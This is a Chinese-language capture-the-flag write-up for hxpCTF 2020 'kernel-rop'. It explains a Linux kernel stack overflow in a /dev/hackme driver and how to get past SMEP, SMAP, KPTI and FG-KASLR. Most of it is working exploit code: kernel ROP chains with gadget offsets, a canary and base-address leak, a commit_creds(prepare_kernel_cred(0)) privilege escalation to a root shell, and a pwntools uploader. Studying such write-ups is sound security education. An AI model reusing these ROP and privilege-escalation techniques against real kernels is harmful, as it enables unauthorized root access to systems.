[hxpctf2020]kernel-rop

漏洞点

```
ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t
*off)
{
  unsigned __int64 v4; // rdx
  ssize_t v5; // rbx
  int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
  unsigned __int64 v8; // [rsp+80h] [rbp-20h]

  _fentry__(f, data);
  v5 = v4;
  v8 = __readgsqword(0x28u);
  if ( v4 > 0x1000 )
  {
    _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL);
    BUG();
  }
  _check_object_size(hackme_buf, v4, 0LL);
  if ( copy_from_user(hackme_buf, data, v5) )
    return -14LL;
  _memcpy(tmp, hackme_buf, v5);
  return v5;
}
ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off)
{
  unsigned __int64 v4; // rdx
  unsigned __int64 v5; // rbx
  bool v6; // zf
  ssize_t result; // rax
  int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
  unsigned __int64 v9; // [rsp+80h] [rbp-20h]

  _fentry__(f, data);
  v5 = v4;
  v9 = __readgsqword(0x28u);
  _memcpy(hackme_buf, tmp, v4);
  if ( v5 > 0x1000 )
  {
    _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL);
    BUG();
  }
  _check_object_size(hackme_buf, v5, 1LL);
  v6 = copy_to_user(data, hackme_buf, v5) == 0;
  result = -14LL;
  if ( v6 )
    return v5;
  return result;
}
```

如上,漏洞本身很简单,巨大的内核栈溢出+打印栈上内容.

前期准备

```
#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
    -kernel vmlinuz \
    -initrd initramfs.cpio \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 kaslr kpti=1 quiet panic=1"\
```

但保护开的很全

1. smap/smep分别使用户不能读内核区域内存/内核不能读用户区域内存
2. kpti使内核/用户使用不同的内存页表
3. kaslr,一般来说和用户态aslr没什么区别,但这题的特殊之处就在于它在编译时启用了FG-KASLR.具体的情况我们稍后详细讲解.

那么首先,为了便于调试,我们修改它的run.sh,关闭kaslr,并且打开qemu的调试端口.

```
#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
    -kernel vmlinuz \
    -initrd initramfs.cpio \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 nokaslr kpti=1 quiet panic=1"\
    -s
```

然后我们就可以通过`(gdb) target remote 0.0.0.0:1234`来对内核进行调试.

由于在做题的过程中需要频繁的修改exp,因此我们将cpio解包,然后将我们的exp拷贝进去再重新打包,以提升效率.

这里我写了一个脚本用来快速完成编译-复制-打包的过程:

```
#!/bin/sh
gcc ./00.c -masm=intel -static -o exp
cp ./exp ./initramfs/exp
cd ./initramfs
find . | cpio -oH newc | gzip -9 > ../initramfs.cpio
```

另外我们还需要修改文件系统内部的start.sh或者类似的东西,让我们具有root以便读取内核符号:

```
::sysinit:/etc/init.d/rcS
::once:-sh -c 'cat /etc/motd; setuidgid 1000 sh; poweroff'
```

一般来说把那个1000改成0就行.

在使用gdb调试的时候,我们还需要注意一些问题.

使用`target remote`进行的调试是没有符号的.所以我们还需要手动导入文件.但gdb无法读取vmlinuz,所以我们还需要使用vmlinux-to-elf将vmlinuz压缩镜像转换成vmlinux.

```
vmlinux-to-elf ./vmlinuz vmlinux
```

然后我们就可以在gdb里导入它.如果没有开启kaslr,只需使用`file`即可.否则我们需要使用`add-symbol-file`

```
add-symbol-file vmlinux _text <addr>
```

(我不太确定这样对不对,不过一般也不会在开启kaslr的情况下进行调试吧)

同时,我们还可以使用ropper从vmlinux中寻找我们需要的gadgets.不过这题比较特殊,由于它开启了FG-KASLR,所以它足足有三万个段,让ropper加载得加载到猴年马月去.

解决方案是使用`extract-vmlinux.sh`脚本.下面会给出代码:

```
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011      Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------

check_vmlinux()
{
    # Use readelf to check if it's a valid ELF
    # TODO: find a better to way to check that it's really vmlinux
    #       and not just an elf
    readelf -h $1 > /dev/null 2>&1 || return 1

    cat $1
    exit 0
}

try_decompress()
{
    # The obscure use of the "tr" filter is to work around older versions of
    # "grep" that report the byte offset of the line instead of the pattern.

    # Try to find the header ($1) and decompress from here
    for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
```

```
    do
        pos=${pos%%:*}
        tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
        check_vmlinux $tmp
    done
}

# Check invocation:
me=${0##*/}
img=$1
if  [ $# -ne 1 -o ! -s "$img" ]
then
    echo "Usage: $me <kernel-image>" >&2
    exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy    gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh'          xy    bunzip2
try_decompress '\135\0\0\0'   xxx   unlzma
try_decompress '\211\114\132' xy    'lzop -d'
try_decompress '\002!L\030'   xxx   'lz4 -d'
try_decompress '(\265/\375'   xxx   unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2
```

做完了这些前期准备工作,我们终于可以进入正题.

解题

当然,正题其实没什么好说的,无非就是执行`commint_creds(prepare_kernel_cred(0))`为当前进程获取root权限,然后返回用户态调用`system("/bin/sh")`获取一个继承了当前进程权限的shell.所以让我们讲一讲绕过保护的部分.

首先,这题开启了smep,意味着不能使用ret2usr(即在用户空间布置和`commint_creds(prepare_kernel_cred(0))`功能相同的代码并执行),而smep则阻止了例如栈迁移到用户态,或者利用用户空间存储的变量等.在这种情况下,合理的攻击方案就是使用kernel_rop.

```
    long long stack_addr=*(unsigned long long*)(buf + 4*8) + 0xC8 - 0x140 -0x80;
    long long base=*(unsigned long long*)(buf + 38*8)-0xa157;
    printf("base:%llx",base);
    long long commit_creds_add=0x4c6410+base;
    long long prepare_kernel_cred_add=0x67E7D0+base;
    long long rdi_add=0x6370+base;
    long long xchg_rdi_rax_jmp_rdx=0xf94de1+base;
```

```
    long long canary=*(unsigned long long*)(buf + 2*8);
    long long return_to_usermode_add=0x200f26+base;
//swapgs_restore_regs_and_return_to_usermode+22
    long long rdx_add=0x7616+base;
    long long rcx_add=0x5f4bbc+base;
    long long ret_add=0x1cc+base;
    long long gadgets1=0x6bf203+base; //mov rdi, rax; mov qword ptr [rsi +
0x140], rdi; pop rbp; ret;
    long long rsi_add=0x50b97e + base;
    char pay[0x400];
    for(int i=0;i<20;i++){
        *(unsigned long long*)(pay + i*8)=canary;
    }
    *(unsigned long long*)(pay + 20*8)=rdi_add;
    *(unsigned long long*)(pay + 21*8)=0;
    *(unsigned long long*)(pay + 22*8)=prepare_kernel_cred_add;
    *(unsigned long long*)(pay + 23*8)=rsi_add;
    *(unsigned long long*)(pay + 24*8)=stack_addr;
    *(unsigned long long*)(pay + 25*8)=gadgets1;
    *(unsigned long long*)(pay + 26*8)=0;
    *(unsigned long long*)(pay + 27*8)=commit_creds_add;
```

如上.如果这题没有kpti的话,那么接下来我们只需要找到`SWAPGS`和`iretq`的gadgets,然后像这样布置一些必要的信息:

```
    *(unsigned long long*)(pay + 29*8)=SWAPGS_add;
    *(unsigned long long*)(pay + 30*8)=iretq_add;
    *(unsigned long long*)(pay + 31*8)=(long long)get_shell;//这里是返回到用户态后
rip的位置
    *(unsigned long long*)(pay + 32*8)=user_cs;//这些是之前存储的一些用户态数据
    *(unsigned long long*)(pay + 33*8)=user_rflags;
    *(unsigned long long*)(pay + 34*8)=user_sp+8;
    *(unsigned long long*)(pay + 35*8)=user_ss;
```

其中用户态数据可以在程序开头用这个函数存储:

```
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("[*]status has been saved.");
}
```

但这题有kpti,所以我们还需要恢复用户页表.具体的方法就是将CR3寄存器的第13为(0x1000)置为1(0为内核页表,1为用户页表)找到相关的gadgets会很麻烦,所以我们可以直接找到正常情况下用于返回用户态的函数,然后执行它.

```
long long return_to_usermode_add=0x200f26+base;
//swapgs_restore_regs_and_return_to_usermode+22
*(unsigned long long*)(pay + 28*8)=return_to_usermode_add;
```

这里跳转到+22而非函数开头的部分,跳过了加载用户态存储的寄存器的逻辑.这样我们可以将一些内核数据通过寄存器带回用户态.(当然,在这个场景中没有用上)

这样,如果这是一道普通的kaslr内核题目,我们就成功的解出了它.但问题在于它开启了FG-KASLR.

FG-KASLR绕过

简单地说,FG-KASLR就是KASLR的加强版.它会把内核符号拆成许多零碎的段,然后在这些段之间添加随机长度的填充数据.在这种情况下,即使我们泄露了内核基址,我们也只有_text段的gadgets可以利用.而想使用其他内核符号/gadgets,我们就需要用到内核符号表.

即使是在开启了FG-KASLR的情况下,内核符号表和_text段的偏移也是不会改变的.所以我们可以根据在root权限下`cat /proc/kallsyms |grep <符号名>得到的内核符号表的地址,计算出偏移,设法通过内核rop读取它的内容.

```
/ # cat /proc/kallsyms |grep commit_creds
ffffffffb2e25860 T commit_creds
ffffffffb3387d90 r __ksymtab_commit_creds
ffffffffb33a0972 r __kstrtab_commit_creds
ffffffffb33a4d42 r __kstrtabns_commit_creds
```

如上,第二个就是commit_creds的符号表项.

不过注意,我们能利用的只有和_text处于同一段(当然,如果你能泄露其他段的地址,你也可以使用那些段中的gadgets.不过这会比较麻烦)的gadgets.我们可以通过readelf查看_text段的大小.

```
$ readelf -S vmlinux |grep text|head -n 1
  [ 1] .text             PROGBITS         ffffffff81000000  00235000
```

那么我们就只能使用base+0x235000以内的gadgets.

在这题的例子中,我们可以找到这两个gadgets:

```
0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret;
0xffffffff81004d11: pop rax; ret;
```

它们可以帮助我们泄露符号地址.由于我们没有合适的gadgets用来直接跳转到rax,所以我们可以把它们带回用户态进行进一步处理.

```
void save_addr(){
    asm volatile(
        "mov commit_creds_add, rsi;"
        "mov prepare_kernel_cred_add, rax;"
    );
    commit_creds_add=commit_creds_sym_add+base+(int)commit_creds_add;
    prepare_kernel_cred_add=prepare_kernel_cred_sym_add+base+
(int)prepare_kernel_cred_add;
    printf("%lx,%lx",commit_creds_add,prepare_kernel_cred_add);
    fflush(stdout);
    get_cred();
```

```
}

void start_rop(){
    size_t payload[0x100];
    int i;
    for(i=0;i<20;i++)payload[i]=canary;
    payload[i++]=rax_add+base;
    payload[i++]=commit_creds_sym_add+base;
    payload[i++]=read_rax_pop_rbp_add+base;
    payload[i++]=0;
    payload[i++]=swap_rsi_rax_pop_rbp_add+base;
    payload[i++]=0;
    payload[i++]=rax_add+base;
    payload[i++]=prepare_kernel_cred_sym_add+base;
    payload[i++]=read_rax_pop_rbp_add+base;
    payload[i++]=0;
    payload[i++]=return_to_user_mode_add+base;
    payload[i++]=0;
    payload[i++]=0;
    payload[i++]=(size_t)save_addr;
    payload[i++]=user_cs;
    payload[i++]=user_rflags;
    payload[i++]=user_sp;
    payload[i++]=user_ss;
    write(f,payload,8*(i+1));
    return;
}
```

然后我们就可以正常执行`commint_creds(prepare_kernel_cred(0))`.不过由于这题没有合适的如`xchg rdi, rax`这样的gadgets,所以我们将prepare_kernel_cred(0)的返回值传回用户态,然后在用户态通过布置rop链,实现将它放进`commint_creds()`的参数中的效果.

完整exp如下:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>

int f=0;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t base, canary;
size_t rdi_add=0x6370;
size_t rax_add=0x4d11;
size_t read_rax_pop_rbp_add=0x15a7f;
size_t commit_creds_sym_add=0xf87d90;
size_t prepare_kernel_cred_sym_add=0xf8d4fc;
size_t swap_rsi_rax_pop_rbp_add=0xdb06;
size_t commit_creds_add;
size_t prepare_kernel_cred_add;
size_t return_to_user_mode_add=0x200f26;
void save_status()
```

```
{
    asm volatile(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("[*]status has been saved.");
}



void get_shell(void)
{
    if(getuid()) {
        printf("no root");
        return;
    }
    printf("now get shell...");
    system("/bin/sh");
    exit(0);
}

void get_text_base(){
    char buf[0x1000];
    read(f,buf,0x180);
//    for(int i=0;i<0x30;i++)printf("%d:%llx\n",i, *(unsigned long long*)(buf +
i*8));
    base=*(size_t*)(buf + 38*8)-0xa157;
    canary=*(size_t*)(buf + 2*8);
    return;
}

size_t root_cred=0;

void cmt_cred(){
    size_t payload[0x100];
    int i;
    for(i=0;i<20;i++)payload[i]=canary;
    payload[i++]=rdi_add+base;
    payload[i++]=root_cred;
    payload[i++]=commit_creds_add;
    payload[i++]=return_to_user_mode_add+base;
    payload[i++]=0;
    payload[i++]=0;
    payload[i++]=(size_t)get_shell;
    payload[i++]=user_cs;
    payload[i++]=user_rflags;
    payload[i++]=user_sp+8;
    payload[i++]=user_ss;
    write(f,payload,8*(i+1));
    return;
}
void save_cred(){
    asm volatile(
```

```
        "mov root_cred, rax;"
    );
    printf("\n%lx\n",root_cred);
    fflush(stdout);
    cmt_cred();
}

void get_cred(){
    size_t payload[0x100];
    int i;
    for(i=0;i<20;i++)payload[i]=canary;
    payload[i++]=rdi_add+base;
    payload[i++]=0;
    payload[i++]=prepare_kernel_cred_add;

    payload[i++]=return_to_user_mode_add+base;
    payload[i++]=0;
    payload[i++]=0;
    payload[i++]=(size_t)save_cred;
    payload[i++]=user_cs;
    payload[i++]=user_rflags;
    payload[i++]=user_sp;
    payload[i++]=user_ss;
    write(f,payload,8*(i+1));
    return;
}

void save_addr(){
    asm volatile(
        "mov commit_creds_add, rsi;"
        "mov prepare_kernel_cred_add, rax;"
    );
    commit_creds_add=commit_creds_sym_add+base+(int)commit_creds_add;
    prepare_kernel_cred_add=prepare_kernel_cred_sym_add+base+
(int)prepare_kernel_cred_add;
    printf("%lx,%lx",commit_creds_add,prepare_kernel_cred_add);
    fflush(stdout);
    get_cred();
}

void start_rop(){
    size_t payload[0x100];
    int i;
    for(i=0;i<20;i++)payload[i]=canary;
    payload[i++]=rax_add+base;
    payload[i++]=commit_creds_sym_add+base;
    payload[i++]=read_rax_pop_rbp_add+base;
    payload[i++]=0;
    payload[i++]=swap_rsi_rax_pop_rbp_add+base;
    payload[i++]=0;
    payload[i++]=rax_add+base;
    payload[i++]=prepare_kernel_cred_sym_add+base;
    payload[i++]=read_rax_pop_rbp_add+base;
    payload[i++]=0;
    payload[i++]=return_to_user_mode_add+base;
    payload[i++]=0;
```

```
    payload[i++]=0;
    payload[i++]=(size_t)save_addr;
    payload[i++]=user_cs;
    payload[i++]=user_rflags;
    payload[i++]=user_sp;
    payload[i++]=user_ss;
    write(f,payload,8*(i+1));
    return;
}


int main(){
    save_status();
    f=open("/dev/hackme",O_RDWR);
    get_text_base();
    start_rop();
    return 0;
}
```

exp发送

最后,对于远程环境,需要将编译的exp用base64编码后发送.可以使用这个脚本:

```
from pwn import *
import base64
#context.log_level = "debug"

with open("./exp", "rb") as f:
    exp = base64.b64encode(f.read())

#p = remote("127.0.0.1", 11451)
p = process('./run.sh')
try_count = 1
while True:
    p.sendline()
    p.recvuntil("/ $")

    count = 0
    for i in range(0, len(exp), 0x200):
        p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >>
/tmp/b64_exp")
        count += 1
        log.info("count: " + str(count))

    for i in range(count):
        log.info("i: " + str(i))
        p.recvuntil("/ $")

    p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
    p.sendline("chmod +x /tmp/exploit")
    p.sendline("/tmp/exploit ")
    break

p.interactive()
```

以上.